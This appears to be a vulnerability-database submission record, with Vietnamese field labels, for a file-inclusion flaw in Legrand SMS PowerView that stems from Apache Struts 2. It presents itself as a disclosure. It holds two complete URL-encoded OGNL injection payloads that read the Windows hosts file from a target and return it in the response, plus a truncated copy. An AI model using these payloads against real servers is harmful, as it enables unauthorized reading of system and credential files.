| tiêu đề | Lagrand SMS PowerView 1.x.x File Inclusion |
|---|
| Mô tả | In SMS PowerView systems, it is possible to exploit a Local File Inclusion (LFI) vulnerability due to the system using Apache Struts 2. Given this, we have the following payload to demonstrate the possibility of Local File Inclusion:
Viewing the "hosts" file on Windows:
http://x.x.x.x:9191/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%23scanner.useDelimiter(%27\\A%27).next(),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.println(%23data),%23resp.flush(),%23resp.close()}
https://x.x.x.x:8443/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%23scanner.useDelimiter(%27\\A%27).next(),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.println(%23data),%23resp.flush(),%23resp.close()} |
|---|
| Nguồn | ⚠️ http://x.x.x.x:9191/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%2 |
|---|
| Người dùng | Fr1t0 (UID 82967) |
|---|
| Đệ trình | 03/04/2025 21:14 (cách đây 1 Năm) |
|---|
| Kiểm duyệt | 14/04/2025 14:49 (11 days later) |
|---|
| Trạng thái | Bản sao |
|---|
| Mục VulDB | 302034 [Legrand SMS PowerView 1.x redirect nâng cao đặc quyền] |
|---|
| điểm | 0 |
|---|